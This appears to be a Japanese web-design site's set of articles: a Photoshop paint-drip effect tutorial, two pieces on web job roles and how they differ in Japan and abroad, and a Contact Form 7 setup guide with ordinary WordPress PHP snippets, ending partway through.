使われる場面は、音楽系のジャケットやライブ告知、ストリート／グラフィティ調のキャンペーンバナー、Tシャツなどのグッズ、季節企画のタイトル文字あたりが中心です。企業サイトの本文まわりで使う表現ではなく、「1枚で目を引かせる」用途の装飾だと考えておくと使いどころを外しません。液体そのものの質感を出す方向であれば Photoshopの水・液体エフェクト の考え方も併せて確認しておくと選択肢が広がります。 「垂れ」の作り方は大きく3方向ある ネット上のペイントドリップの解説が食い違って見えるのは、次の3方向のどれを採っているかが違うためです。まず自分がどれをやろうとしているかを決めてから手順を探すと、迷いが減ります。 方向性やっていること向いている対象崩れやすい点足す（ブラシ）ドリップ形状のブラシで、対象の下端に垂れを描き足す文字・ロゴ・図形ブラシの向きや不透明度がそろわず、貼り付けたように見える削る（レイヤーマスク）マスクを黒で塗り、対象を垂れの形に欠けさせる写真・切り抜き素材マスクの境界に中間グレーが残り、縁が半透明になる引き伸ばす（ゆがみ）ゆがみフィルターで下方向にピクセルを引き延ばすベタ塗りに近い面模様や質感まで一緒に伸びて不自然になる 初めて作るなら「足す（ブラシ）」がもっとも失敗しにくく、素材写真を活かしたいなら「削る（レイヤーマスク）」になります。以降で扱う検証は、この2つ目のマスク方式を選んだときに効いてきます。 Adobe公式チュートリアルで確認できる流れ Adobeが公開しているペイントドリップのチュートリアルは、前節の分類でいう「足す（ブラシ）」型です。写真の中の垂れをカスタムブラシとして登録し、それを文字に対して塗るという流れになっています。実際の画面と手順は公式ページが一次情報になるため、操作を追いたい場合はそちらを開いてください。 工程公式チュートリアルで示されている内容1ドリップが写っている画像から、ブラシにしたい垂れの部分を選択する2編集メニューの「ブラシを定義」で名前を付けて保存し、カスタムブラシとして登録する（使いたい垂れの数だけ繰り返す）3背景に色を敷いた新規ドキュメントを作成する4文字ツールでテキストを入力する5登録したドリップブラシを使って、テキストに垂れを描き加える 出典：How to make a paint drip effect in Adobe Photoshop（Adobe Learn）／日本語の入口は Adobe Learn - Photoshop を学ぶ から辿れます。 注意したいのは、「被写体を切り抜いてマスクで背景と合成する」という流れは、この公式チュートリアルの手順とは別物だという点です。どちらもペイントドリップと呼ばれますが、前者は写真合成、後者はブラシによる文字装飾で、覚える操作が重なりません。検索して出てきた手順を混ぜて進めると途中で噛み合わなくなるので、参照するページを1本に決めてから始めてください。文字そのものの色を扱うなら Photoshopで文字の色を変える方法 が前提知識になります。 なお、Photoshopのメニュー名・パネル配置はバージョンで変わります。手順の文言が画面と一致しない場合は、記事ではなく公式ページ側の最新版を正としてください。 マスクで作った場合の仕上がりを検証する レイヤーマスクで垂れを作る方式を選んだ場合、仕上がりの良し悪しはほぼマスクの精度で決まります。ここが甘いと、その場のプレビューでは気づかず、背景を差し替えた瞬間に輪郭が濁って発覚します。作り終えたら次の手順で確認してください。 マスク単体を表示して境界を見る レイヤーパネルのマスクサムネイルを Option（Mac）／Alt（Windows）を押しながらクリックすると、ドキュメントウィンドウにマスクそのものが白黒で表示されます。この状態で表示倍率を100%にし、垂れの境界を追ってください。合成結果を見ている限り気づけない中間グレーが、ここでは一目で分かります（参照：Edit layer masks in Photoshop｜Adobe）。 合否ラインはグレーの帯が残っていないこと マスク単体を表示した状態で、次の3点を満たしていれば合格です。 隠したいドリップ部分が完全な黒（RGB 0, 0, 0）で塗られている 残したい部分が完全な白（RGB 255, 255, 255）になっている 黒と白の境目に、幅5px以上の中間グレーの帯が残っていない マスクの白い部分が表示、黒い部分が非表示、その中間のグレーが半透明として扱われるためです（参照：Photoshop でマスクを使用したレイヤーの非表示｜Adobe）。グレーの帯が広いと縁が半透明になり、背景を差し替えたときに元の背景の色が輪郭に残って濁ります。 不合格だったときの一手 グレーの帯が残っていた場合は、マスクを選択したまま「イメージ」→「色調補正」→「レベル補正」を開き、黒点と白点のスライダーを内側に寄せて2値化に近づけます。これで境界が締まり、中間グレーの幅が縮みます。ここまでで直らない場合は、マスクを描いたブラシの硬さ自体が低いので、次の切り分け表に進んでください。 症状別の切り分け マスク方式でつまずく箇所はほぼ決まっています。症状から原因を引いてください。 症状考えられる原因確認・対処ドリップが出ず、対象が全部見えたままマスクの黒白が逆になっているマスクサムネイルを Option／Alt +クリックして確認し、Cmd／Ctrl+I（階調の反転）で反転する垂れの縁がぼやけるブラシの硬さが低いオプションバーのブラシ設定で硬さを100%にして描き直す画像本体を削ってしまう選択中のサムネイルが画像側になっているマスクサムネイルをクリックして選択してから描く黒で塗っても見た目が変わらない描画色が黒でも白でもないD で描画色・背景色を初期化し、X で入れ替える 最終的な合否ラインは「背景レイヤーの色を白と黒に切り替えても、ドリップの輪郭に元の背景の色が透けない」ことです。ここまで通れば、別の背景に載せ替えても縁が濁りません。切り抜きそのものを速く済ませたい場合は 背景除去ツール で下地を作ってからマスクを描き足す進め方もあります。 ドリップ用ブラシの入手経路とライセンス Photoshopに最初から入っているブラシで足りない場合、追加の入手経路は次のとおりです。 経路操作備考Photoshopから追加ブラシを取得ブラシパネル右上のメニューから「他のブラシを入手」を選ぶとAdobeの配布ページが開くCreative Cloudメンバー向けに無償提供されているセットがある外部の配布サイト.abr ファイルをダウンロードし、ブラシパネルのメニューから「ブラシを読み込む」で追加するセットごとにライセンスが異なるので要確認自分で作るブラシにしたい形を選択し、編集メニューの「ブラシを定義」で登録する公式チュートリアルが採っている方法 Adobeが提供しているブラシの概要は Photoshopブラシのファーストステップガイド（Adobe）、実際の使い方は Kyle Websterのブラシを使ってテクスチャをペイントする（Adobe） にまとまっています。 ひとつ誤解されやすいのが、Photoshopの「探索（Discover）」パネルです。これは Cmd+F（Mac）／Ctrl+F（Windows）で開く検索パネルで、ツール・アプリ内チュートリアル・記事・クイックアクションを探すためのものであり、ブラシ素材の配布窓口ではありません（参照：Access Discover panel in Photoshop｜Adobe）。ブラシを増やしたいときはブラシパネル側から辿ってください。 外部サイトのブラシを商用のバナーやグッズに使う場合は、配布元のライセンス表記を必ず確認してください。たとえばBrusheezyは配布物ごとにライセンス種別が分かれており、その一覧が License Types（Brusheezy公式サポート） で公開されています。「無料でダウンロードできる」ことと「商用利用できる」ことは別扱いです。制作物を書き出したあとの容量最適化は 画像圧縮ツール で処理できます。 まとめ ペイントドリップ加工は、対象の下端から絵具が滴り落ちるように見せる装飾表現。「足す・削る・引き伸ばす」の3方向があり、どれを選ぶかで工程が変わる Adobe公式チュートリアルはブラシ型。ドリップ画像をカスタムブラシに登録し、テキストへ塗り重ねる流れで、操作の一次情報は公式ページに置く マスク型を選んだ場合の合否は、マスク単体を表示して中間グレーの帯が残っていないかで判定する 同じ「Photoshopの装飾表現」の系統では 影の付け方 が汎用性が高く、バナー制作までまとめて押さえたい場合は バナーデザインのテクニック が実務に直結します。Photoshopを体系立てて進めたい方は Photoshop学習ガイド から順に辿ってください。 よくある質問（FAQ） Q. Photoshopのペイントドリップ加工とは何ですか？ 写真や文字の一部から絵具が滴り落ちているように見せる装飾表現です。Adobe公式チュートリアルでは、ドリップが写った画像から垂れの部分を選択し、編集メニューの「ブラシを定義」でカスタムブラシとして登録して、そのブラシで文字に垂れを描き加える流れが紹介されています。 Q. ドリップが表示されないときはどこを見ればよいですか？ レイヤーマスクで作っている場合は、マスクの黒白が逆になっている可能性が高いので、マスクサムネイルを Option（Mac）／Alt（Windows）+クリックしてマスク単体を表示し、逆であれば Cmd／Ctrl+I（階調の反転）で反転します。それでも変わらない場合は、選択中のサムネイルが画像側になっているか、描画色が黒でも白でもない状態を疑ってください。 Q. ドリップの縁がぼやけてしまうのはなぜですか？ マスクの境界に中間グレーが残っているためです。グレーは半透明として扱われるので、縁が透けて背景の色が混ざります。マスクを選択したまま「イメージ」→「色調補正」→「レベル補正」で黒点と白点を内側に寄せると境界が締まります。そもそもの原因がブラシの硬さであることも多いため、オプションバーで硬さを100%にして描き直すのも有効です。 ### [作りたい成果物から逆引きするWeb業界の職種一覧と担当範囲](https://codequest.work/web-industry-job-roles-deliverables/) Web業界の職種は、役割の説明を何本読んでも決まりません。決まるのは、作りたい成果物を「画面」「動き」「データ」「運用」の4つの層に分け、自分で埋められない層を数えたときです。埋められなかった層の担当が、あなたに必要な職種です。 この記事は「職種を説明する記事」ではなく「作りたいものから職種を逆に引く記事」です。求人票で使われている呼称と、公的な職業分類の項目名は別のレイヤーにあり、この2つを混ぜると「Webディレクターはプロジェクトマネージャーの別名」といった誤解が生まれます。両方のレイヤーを並べたうえで、最後に読者が紙1枚で自分の答えを出せる判定手順を置きました。 掲載した分類の定義・調査数値は、すべて2026年8月2日に一次資料から取得したものです。出典と取得日はその場に書いています。なお「ディレクションとは何か」「マーケティングとSNS運用の線引き」といった職種そのものの定義には踏み込みません。それぞれ専用の記事があるので、必要な箇所からリンクで渡します。 結論｜職種は「作りたいものの4つの層」で決まる Webの成果物は、どんなに複雑なものでも次の4つの層に割れます。層は作業の順番ではなく、「誰かが必ず責任を持たなければ完成しない領域」の区切りです。 画面：開いた瞬間に目に入るもの。レイアウト、配色、文字組み、写真やイラストの配置、画面の一覧と遷移。 動き：触ったときの反応。メニューの開閉、タブの切り替え、入力内容のチェック、スクロールに連動する演出。 データ：保存と受け渡し。送信された内容をどこに残すか、ログイン、在庫や予約の重複排除、外部サービスとの連携。 運用：公開した後に動かし続ける仕組み。誰がどこを更新するのか、何を計測するのか、どう直していくのか。 この4層に対して、自分がいま埋められる層と埋められない層を分けると、必要な職種の数がそのまま出ます。結論だけ先に書きます。 埋められない層が0本なら、職種を増やす必要はありません。そのまま作り始めてよい状態です。 埋められない層が1本なら、その層のスキルを足すだけで単独で完成できます。学ぶ対象をその層だけに絞ります。 埋められない層が2本以上なら、現時点では分業が前提です。同時に2層を追わず、残りが少ない層から順に埋めます。 「Webデザイナーになりたい」から入ると、自分が本当に埋めたい層がどこなのかが最後まで分かりません。逆に成果物から入ると、必要な層と職種は1回の作業で確定します。以降は、その判定を支える材料として公的な分類と実際の調査数値を確認し、最後に判定手順そのものを置きます。 公的な職業分類では、Web職種はどう定義されているか 求人サイトに並ぶ職種名は、企業が自由に付けた呼称です。一方で、統計に使われる公的な職業分類は項目が固定されています。この2つを突き合わせると、「よく見かけるのに公的分類には存在しない呼称」がはっきりします。ここを押さえておくと、求人票の職種名に振り回されなくなります。 日本標準職業分類での位置（現行は2009年12月設定） 日本の統計で使われる職業分類は「日本標準職業分類」です。総務省のページによれば、現行版は平成21年（2009年）12月設定で、それ以降の改定は行われていません。つまり、スマートフォンが普及しきる前の区分が今も現行として使われています。 この分類で「ウェブデザイナー」が置かれているのは、小分類〔224〕デザイナーです。定義文はこう書かれています。 工業的若しくは商業的製品又はその他の物品・装飾に関し、用途・材質・製作法・形状・模様・色彩・配置・照明などについて、技芸的又は趣味的な意匠を考案し、図上に設計・表現を行う専門的な仕事に従事するものをいう。 定義の中心にあるのは「意匠を考案し、図上に設計・表現を行う」です。装飾や見栄えではなく、設計が本体だと書かれています。この項目には、ウェブデザイナーと並んで工業デザイナー、服飾デザイナー、インテリアデザイナー、グラフィック・デザイナー、CGアーティストが同居しています。つまり公的分類の上では、グラフィックデザイナーとWebデザイナーは同じ項目であり、「グラフィックデザイナーは見た目を整える人」といった役割の切り分けは分類に存在しません。 エンジニア側は中分類〔10〕情報処理・通信技術者にまとまっており、小分類は〔101〕システムコンサルタント、〔102〕システム設計者、〔103〕情報処理プロジェクトマネージャ、〔104〕ソフトウェア作成者、〔105〕システム運用管理者、〔106〕通信ネットワーク技術者の6つだけです。 出典：総務省 日本標準職業分類「一般原則・分類項目名・説明及び内容例示」および日本標準職業分類のページ（いずれも2026年8月2日取得。定義文は説明及び内容例示の120ページ、情報処理・通信技術者は96〜97ページ） 「フロントエンド」「Webディレクター」は公的分類に存在しない 取得した説明及び内容例示の全文を検索すると、「フロントエンド」「バックエンド」という語は1件も出てきません（2026年8月2日に全文検索して確認）。「ディレクター」で引っかかるのは放送・演劇の「プログラム・ディレクター」と、葬儀関連の「葬祭ディレクター」の2つだけで、Webディレクターに相当する項目はありません。 よく「Webディレクター＝プロジェクトマネージャー」と並べて書かれますが、分類にある〔103〕情報処理プロジェクトマネージャの定義は次のとおりです。 システム開発プロジェクトの責任者としてプロジェクト計画を作成し、必要となる要員や資源を確保し、予算、要求品質等について責任を持ち、プロジェクト全体を管理する仕事に従事するものをいう。 ここで責任範囲として挙がっているのは、要員・資源・予算・要求品質です。制作物の中身をどう良くするかは定義に入っていません。制作の内容に踏み込む役割と、プロジェクトの資源に責任を持つ役割は、公的分類の上でも別のものとして書かれているということです。「Webディレクター」「プロジェクトマネージャー」「プロダクトマネージャー」の3つを1つの見出しにまとめてしまうと、この違いが消えます。 同じ理由で、「WordPressエンジニア」も公的分類には存在しません。これは職種名ではなく、使う道具で区切った担当領域の呼び名です。求人票で見かけても、実際に問われているのはWebサイトの実装と運用のどこまでを引き受けるかであって、道具の名前そのものではありません。 よく見る呼称と分類の対応をまとめると次のようになります。WordPressエンジニアは「CMS実装の担当者」の行に当たります。 求人でよく見る呼称分類に同名の項目職務内容が収まる項目（番号）Webデザイナーあるデザイナー〔224〕グラフィックデザイナーあるデザイナー〔224〕UI・UXデザイナーないデザイナー〔224〕プロダクトデザイナーないデザイナー〔224〕フロントエンド担当ないソフトウェア作成者〔104〕バックエンド担当ないソフトウェア作成者〔104〕CMS実装の担当者ないソフトウェア作成者〔104〕Webディレクターない該当する項目なしプロジェクトマネージャーある情報処理プロジェクトマネージャ〔103〕Webライターない著述家〔211〕／記者，編集者〔212〕Webマーケターない企画事務員〔253〕 注意して読んでほしいのは最下段です。〔253〕企画事務員は「企画・立案、業務計画の策定及び市場調査などの仕事」と定義され、内容例示に「マーケティング・リサーチャー」が入っています。この項目は大分類C「事務従事者」の下にあり、デザイナーやエンジニアが属する大分類B「専門的・技術的職業従事者」ではありません。公的分類はマーケティングを技術職として扱っていない、ということです。実務での評価と分類上の位置づけがずれている典型例なので、ここを根拠に職種の優劣を語るのは適切ではありません。 国のデジタルスキル標準は6つの役割で切っている もう1つ、現在進行形で更新されている公的な区分があります。情報処理推進機構（IPA）が公開している「デジタルスキル標準」のうち、DX推進スキル標準（DSS-P）です。こちらはDXを推進する人材の役割を6つの類型に区分しています。 ビジネスアーキテクト デザイナー データサイエンティスト データマネジメント ソフトウェアエンジニア サイバーセキュリティ ここでもデザイナーは1つの類型にまとまっており、UIデザイナーとプロダクトデザイナーを分ける区分はありません。定義は「ビジネスの視点、顧客・ユーザー視点、コミュニケーション視点等を総合的にとらえ、製品・サービスの方針や開発のプロセスを策定する」役割とされ、視覚表現よりもプロセス設計に重心があります。日本標準職業分類の「意匠を考案し、図上に設計・表現を行う」と方向は一致しています。 出典：IPA DX推進スキル標準（DSS-P）概要（2026年8月2日取得。同ページの更新履歴に2026年4月16日 ver2.0公開と記載） 世界規模の開発者調査では、職種はどう申告されているか 分類は制度の側の話なので、実際に働いている人がどう名乗っているかも見ておきます。Stack Overflow Developer Survey 2025は、回答者に「現在の仕事、または直近1年でもっとも長く従事した仕事」を34の選択肢から1つ選ばせています。有効回答は43,560件です。Web制作に関係する選択肢の内訳は次のとおりでした。 選択肢（日本語にした呼称）割合回答者数フルスタック開発者26.96%11,919バックエンド開発者14.17%6,266フロントエンド開発者4.25%1,878プロジェクトマネージャー0.67%296プロダクトマネージャー0.45%201体験設計・画面設計の専門職0.27%121 この表から読み取れることは2つあります。第一に、プロジェクトマネージャーとプロダクトマネージャーは別々の選択肢として集計されています。回答者数も296対201と近い規模で並んでおり、調査の側もこの2つを同じものとして扱っていません。第二に、フロントエンドだけを名乗る人は4.25%にとどまり、フルスタックの約6分の1です。実装層を「フロント担当」「バック担当」で切って考えるより、両方に手が届く状態が世界的には多数派だということになります。 ただし、これは開発者向けの調査です。回答者の母集団が開発者に偏っているため、デザイン職や体験設計の専門職が0.27%しかいないことを「世の中にデザイナーが少ない」と読むのは誤りです。数値はあくまで「開発者コミュニティの中での構成比」として扱ってください。 出典：Stack Overflow Developer Survey 2025（Work）（2026年8月2日取得。設問は職種を尋ねる項目、全回答者ベースの集計値） 成果物から引く｜作りたいものと担当職種の対応表 ここが記事の中心です。作りたいものを決めると必要な層が決まり、層が決まると担当職種が決まります。2枚の表を順に引いてください。 表1｜作りたいものと、必要になる層 「必ず要る層」は誰かが担当しないと完成しない層、「一部でよい層」は最低限で済ませられる層です。どちらにも書かれていない層は、その成果物では無くても成立します。 作りたいもの必ず要る層一部でよい層コーポレートサイト画面動き・運用ランディングページ画面・動きデータ店舗サイト（予約つき）画面・動き・データ・運用なしオウンドメディア画面・運用動き・データネットショップ画面・動き・データ・運用なし画面内で完結するアプリ動き画面・データ社内の管理画面動き・データ画面・運用 「画面内で完結するアプリ」は、予定表やメモ、計算ツールのように保存先が利用者の端末だけで済むものを指します。ここが「必要」に変わるのは、複数の端末から同じデータを見たくなった瞬間です。 ### [日本と海外のWebデザイナー／ディレクターの違い【役割を徹底比較】](https://codequest.work/web-designer-director-difference-japan-overseas/) 日本と海外でWebデザイナー／ディレクターの中身が違うのは、能力の差ではなく「職務の切り分け方」が違うからです。日本の「Webデザイナー」はビジュアル制作を中心に据えた括りで、海外の Product Designer / UI/UX Designer はリサーチから設計・検証までを含む括りになっています。同じ肩書きでも、求められる成果物が別物です。 この記事では両者の違いを整理したうえで、「自分が今どちらの型で働いているか」を判定する手順まで通します。キャリアの方向を決めるとき、肩書きではなく担当範囲で現在地を測れるようにするのが目的です。 違いの正体は「職務の切り分け方」 まず全体像を押さえます。日本と海外で「作業そのもの」が違うわけではありません。リサーチも情報設計もビジュアル制作も、どちらの国でも誰かがやっています。違うのは、それらを1つの職種にどうまとめるかです。 工程日本の「Webデザイナー」海外の Product / UI/UX Designerユーザーリサーチ担当外のことが多い担当範囲情報設計・ワイヤーフレームディレクターが作ることが多い担当範囲ビジュアルデザイン中心業務担当範囲（ただし一部）プロトタイプ作成案件による担当範囲ユーザーテスト・検証担当外のことが多い担当範囲コーディング兼任することがある基本的に担当外（エンジニアの領域） 表の縦を見ると分かるとおり、日本の「Webデザイナー」は横幅が狭く、代わりにコーディングまで縦に伸びることがあります。海外の Product Designer は逆で、コーディングはしないが調査から検証まで横に広い。この形の違いが、そのまま評価基準と学習の方向の違いになります。 デザイナー職の違い 肩書きの直訳が通じない典型例です。順に見ていきます。 日本のWebデザイナーはグラフィック寄り 日本で「Webデザイナー」と呼ばれる職種は、実態としてグラフィックデザイナー寄りの業務を担うことが多くなります。バナーやLPのビジュアル制作、Photoshop・Figmaでのデザイン作業が中心で、サイト全体の設計やユーザー体験の設計まで踏み込まないケースが少なくありません。 加えてコーディングまで兼任する求人が一定数あるのが日本の特徴です。「デザインもコーディングもできる人」という括りは、海外の職種定義には基本的に存在しません。 海外はProduct Designer／UI/UX Designer 海外では「Web Designer」という肩書き自体があまり使われず、Product Designer や UI/UX Designer が一般的です。役割はビジュアル制作にとどまらず、ユーザー体験の設計そのものに置かれます。 ユーザーリサーチと課題の抽出 情報設計・ワイヤーフレーム作成 プロトタイプ作成とユーザーテスト 検証結果を反映してUIを仕上げる UX分野の役割分担については、Nielsen Norman GroupのUX職務分担に関する解説が参考になります。同記事では Product Designer・UX Researcher・UX Designer・Information Architect などが個別の職種として挙げられ、リサーチとデザインの各工程にUX側が責任を持つという前提が示されています。 ただし同記事は1人が複数の役割を兼ねる状況も想定しています。「海外は必ず分業」という単純な話ではなく、組織の規模によって兼務は普通に起きます。UI/UXの基礎的な考え方はUI/UXデザインの基本にまとめています。 ディレクター職の違い デザイナー以上に落差が大きいのがディレクター職です。日本の「Webディレクター」に対応する肩書きは、海外にはほぼ存在しません。 日本のWebディレクターは進行役 スケジュール管理、タスク調整、クライアント対応、制作チームへの情報伝達が主な業務です。制作経験がなくても任されるケースがあるため、現場では「伝言係」と見られてしまうことがあります。 ただしこれは職種の定義の問題であって、能力の問題ではありません。制作スキルを持ったうえで進行も担うディレクターは、日本でも評価が明確に違います。この区別についてはディレクションとディレクターの違いで詳しく扱っています。 海外はProject Manager／Product Manager 海外で近い役割を担うのは Project Manager（納期・リソースの管理）と Product Manager（何を作るかの決定）です。特に後者は、単なる進行役ではなくプロダクトの方向を決める立場になります。 Project ManagerProduct Manager主な問いどう作るか・いつ出すか何を作るか・なぜ作るか責任納期・予算・リソースプロダクトの成果（指標）日本での近い職種Webディレクター（進行管理型）プロダクトオーナー・事業責任者 日本の求人で「Webディレクター」と書かれていても、実態がProject Manager寄りかProduct Manager寄りかは組織によってまったく違います。肩書きではなく、募集要項に「何を決める権限があるか」が書かれているかで読み分けてください。 【判定】自分が今どちらの型で働いているか 肩書きは当てになりません。直近に関わった案件を1つ思い出して、実際にやったことで判定してください。「やれる」ではなく「実際にやった」で数えるのが要点です。 判定の手順と合否ライン その案件で、ユーザーに関する情報を自分で集めたか（インタビュー・アンケート・アクセス解析のいずれか） 画面の構成や導線を、自分で決めたか（ワイヤーフレームや構成案を自分で引いたか） 公開後に効果を測り、改善案を出したか（数値を見て次の手を提案したか） 「これは作らない」という判断に関与したか（要件を削る側に回ったことがあるか） Yesの数現在地次の一手0〜1個制作実行型（日本のWebデザイナーの標準的な範囲）まず3番（公開後の計測と改善提案）から始める。許可を取る必要がなく、1人でも始められる2〜3個設計まで踏み込んでいる1番（自分で情報を集める）を足す。ここが海外型との最大の差分になる4個Product Designer / Product Managerに近い働き方成果物ではなく担当した意思決定を実績として言語化する 4番目が特に効きます。「作る」提案は誰でもできますが、「作らない」判断に関与した経験は、職務の範囲が実際に広い証拠になるためです。 Yesを増やすには順番がある いきなりリサーチから始めようとすると、権限がなくて詰まります。3番（公開後の計測と改善提案）→ 2番（構成を引く）→ 1番（自分で情報を集める）→ 4番（削る判断）の順が、現実的に通りやすい経路です。 3番から始めるのは、誰の許可も要らず、数字という共通言語で話せるからです。「この導線のクリック率が低いので構成を変えたい」と数値付きで言えれば、次から構成に関与しやすくなります。カンプ前に決めるべき設計事項はデザインカンプ前に決めるWebデザインのルールにまとめています。 学習の方向をどう決めるか 「日本基準と海外基準のどちらで学ぶべきか」という問いをよく受けますが、二択ではありません。日本で働くなら日本の求人が求める形に合わせる必要があり、同時に海外型の範囲を身につけておくと選択肢が増えます。 優先順位をつけるなら次のとおりです。まず日本の現場で通用する手を動かす力、次に設計と検証の力。逆順にすると、実務経験がないまま理論だけを持つことになり、案件に入れません。 職種ごとの成果物の違いはWebデザイナー？エンジニア？ディレクター？職種と作れるもので整理しています。 まとめ 違いは能力ではなく職務の切り分け方。作業自体はどちらの国でも誰かがやっている 日本のWebデザイナーは横に狭くコーディングまで縦に伸びる、海外はコードは書かないが調査から検証まで横に広い 日本の「Webディレクター」に対応する肩書きは海外にほぼなく、Project ManagerとProduct Managerに分かれる 求人は肩書きでなく「何を決める権限があるか」で読み分ける 現在地は「やれる」ではなく「実際にやった」4項目で判定する 範囲を広げる順番は計測と改善提案 → 構成 → リサーチ → 削る判断 まず直近の案件で4項目を数えてみてください。Yesが0〜1個なら、公開後の数値を見て改善案を1つ出すところから始められます。許可も新しいスキルも要りません。 よくある質問（FAQ） Q. 日本と海外のWebデザイナーの一番大きな違いは何ですか？ 担当する工程の範囲です。日本のWebデザイナーはバナーやLPなどビジュアル制作が中心で、コーディングを兼任することもあります。海外のProduct DesignerやUI/UX Designerはコーディングは基本的に担当しない代わりに、ユーザーリサーチ・情報設計・プロトタイプ・ユーザーテストまでを担当範囲に含みます。能力の差ではなく、職務の切り分け方の違いです。 Q. 海外に「Webディレクター」という職種はありますか？ 対応する肩書きはほぼ存在しません。近い役割はProject ManagerとProduct Managerに分かれており、前者は納期・予算・リソースの管理、後者は「何を作るか」の決定とプロダクトの成果に責任を持ちます。日本の求人で「Webディレクター」と書かれていても、実態がどちら寄りかは組織によって異なるため、募集要項に決定権の記載があるかで読み分けてください。 Q. 自分がどちらの型で働いているか判定する方法はありますか？ 直近の案件で実際にやったことを4項目で数えてください。ユーザーに関する情報を自分で集めたか、画面の構成や導線を自分で決めたか、公開後に効果を測って改善案を出したか、「これは作らない」という判断に関与したか、の4つです。Yesが0〜1個なら制作実行型、4個ならProduct Designerに近い働き方です。「やれる」ではなく「実際にやった」で数えるのが要点です。 Q. 担当範囲を広げたいとき、何から始めるべきですか？ 公開後の計測と改善提案からです。誰の許可も必要なく、1人でも始められるうえ、数値という共通言語で話せるためです。「この導線のクリック率が低いので構成を変えたい」と数値付きで提案できれば、次の案件から構成に関与しやすくなります。その後は構成を引く、自分でユーザー情報を集める、要件を削る判断に関わる、の順で広げるのが現実的です。 Q. 日本基準と海外基準のどちらで学ぶべきですか？ 二択ではありません。日本で働くなら日本の求人が求める形に合わせる必要があり、同時に海外型の範囲を身につけておくと選択肢が増えます。優先順位をつけるなら、まず日本の現場で通用する手を動かす力、次に設計と検証の力です。逆順にすると実務経験がないまま理論だけを持つことになり、案件に入りにくくなります。 ### [Contact Form 7 完全ガイド｜設置・タグ一覧・自動返信・迷惑メール対策まで](https://codequest.work/cf7-wordpress-auto-number/) WordPressで最も人気のあるお問い合わせフォームプラグイン「Contact Form 7（CF7）」の使い方を完全解説します。固定ページへの設置方法からショートコードタグ一覧、お問い合わせ番号の自動生成、WP Mail SMTPでの迷惑メール対策まで、この記事1つでCF7のすべてがわかります。 この記事でわかること Contact Form 7の基本と固定ページへの設置方法 フォームで使えるショートコードタグの一覧と使い方 お問い合わせ番号（日時ID）を自動生成する方法 WP Mail SMTPで自動返信メールが迷惑メールに入らない設定 Contact Form 7とは？ Contact Form 7は、WordPressで最も利用されているお問い合わせフォームプラグインです。HTMLやCSSの知識がなくても直感的にフォームを作成でき、ショートコードタグを活用することで柔軟なカスタマイズが可能です。無料で利用でき、日本語にも対応しています。 プラグインを入れずに外部のフォームサービスで済ませたい場合は、formrun・Tayori・Googleフォームの無料枠で、件数・通知先・自動返信のどこから有料になるかを比べられます。 固定ページへのContact Form 7設置方法 WordPressのオリジナルテーマで固定ページにCF7フォームを設置する手順を解説します。 手順1：固定ページ用テンプレートの作成 テーマディレクトリ内に template-contact.php を作成し、以下のコードを記述します。 // template-contact.php // Template Name: Contact get_header(); // CF7ショートコードのIDは自分のフォームIDに変更 $shortcode = '[contact-form-7 id="1234567" title="コンタクトフォーム"]'; $html = '<main><div class="contact-bg">'; $html .= apply_filters('the_content', $shortcode); $html .= '</div></main>'; print($html); get_footer(); コードのポイント Template Name: Contact … 固定ページ編集画面でこのテンプレートを選択できるようになります get_header() / get_footer() … ヘッダーとフッターの共通部分を読み込みます apply_filters('the_content', ...) … ショートコードを解析してフォームのHTMLを生成します ショートコード内の id は、CF7の設定画面で確認できる自分のフォームIDに変更してください。 手順2：固定ページの作成と公開 WordPress管理画面で 固定ページ → 新規追加 に移動します ページタイトルを「お問い合わせ」と入力します 右側のテンプレートセクションで「Contact」を選択します ページを公開します apply_filters() の補足 apply_filters() はWordPressのフィルターフックに登録されたコールバック関数を実行し、加工された値を返す関数です。the_content フィルターを通すことで、ショートコードの解析やoEmbed変換などWordPressの標準処理が適用されます。 // フィルターフックの基本例 $content = apply_filters('the_content', $original_content); // コールバック関数の登録例 function add_custom_text_to_content($content) { return $content . '<p>カスタムテキストが追加されました。</p>'; } add_filter('the_content', 'add_custom_text_to_content'); Contact Form 7 タグ一覧と使い方 CF7ではショートコードタグを使ってフォームのフィールドを定義します。以下が主要なタグの一覧です。 [text]：テキスト入力 名前などのシンプルなテキスト入力フィールドを作成します。 [text your-name] // 必須項目にする場合 [text* your-name] [email]：メールアドレス入力 メールアドレス専用の入力フィールドを作成します。 [email your-email] // プレースホルダーを追加する場合 [email your-email placeholder "例: example@example.com"] [textarea]：複数行の入力 お問い合わせ内容など、複数行のテキスト入力が可能なフィールドです。 [textarea your-message] [select]：選択ボックス ドロップダウン形式の選択ボックスを作成します。 [select your-option "オプション1" "オプション2"] [checkbox]：チェックボックス 複数選択可能なチェックボックスを作成します。 [checkbox your-consent "同意する"] [radio]：ラジオボタン 1つだけ選択可能なラジオボタンを作成します。 [radio your-choice "選択肢1" "選択肢2"] [submit]：送信ボタン フォームの送信ボタンを作成します。 [submit "送信"] 必須オプションの設定 すべてのタグにアスタリスク（*）を付けると必須項目になります。必須タグを使う場合は、ラベル横に「必須」と表示するなど、UIでも明示しましょう。 [text* your-name placeholder "名前を入力してください"] フォーム作成のベストプラクティス ラベルの関連付け：label タグと for 属性でフィールドとの対応を明確にする 自動補完の活用：autocomplete="name" や autocomplete="email" を指定して入力効率を向上させる セマンティックな構造：fieldset や legend でグループ化してユーザー体験を向上 二重バリデーション：CF7のクライアントバリデーションに加え、サーバー側でも入力チェックを行う お問い合わせ番号を自動生成する方法 CF7で送信ごとに「秒までの日時」を自動採番してメールに付与する方法を解説します。連番管理が不要で、実装がシンプルなのがメリットです。 なぜ「秒までの日時」を付与するのか？ お問い合わせ番号を一意にしたい：日時ベースなので衝突が起きにくい 連番の管理が不要：00001 → 00002 のように+1する必要がない 実装がシンプル：日時を出すだけなので functions.php に数行追記するだけ 方法1：ショートコード版 functions.php に以下を追記します。 // CF7で送信時の日時(YYYYMMDDHHMMSS)を返すショートコード function cq_cf7_datetime_code() { // WordPressのタイムゾーン設定に従って出力 return date_i18n('YmdHis'); } add_shortcode('serial_datetime', 'cq_cf7_datetime_code'); CF7メールテンプレートでの使い方： お問い合わせ番号: [serial_datetime] 出力例：20250901192345 方法2：特殊メールタグ版（[_datetime14]） CF7の「特殊メールタグ」として実装する方法です。 // 特殊メールタグ: [_datetime14] → YYYYMMDDHHMMSS add_filter('wpcf7_special_mail_tags', function ($output, $name) { // wpcf7. プレフィックスを除去 if (strpos($name, 'wpcf7.') === 0) { $name = substr($name, 6); } if ($name === '_datetime14') { return date_i18n('YmdHis'); } return $output; }, 10, 2); メールテンプレートでの書き方： お問い合わせ番号: [_datetime14] カスタマイズ例 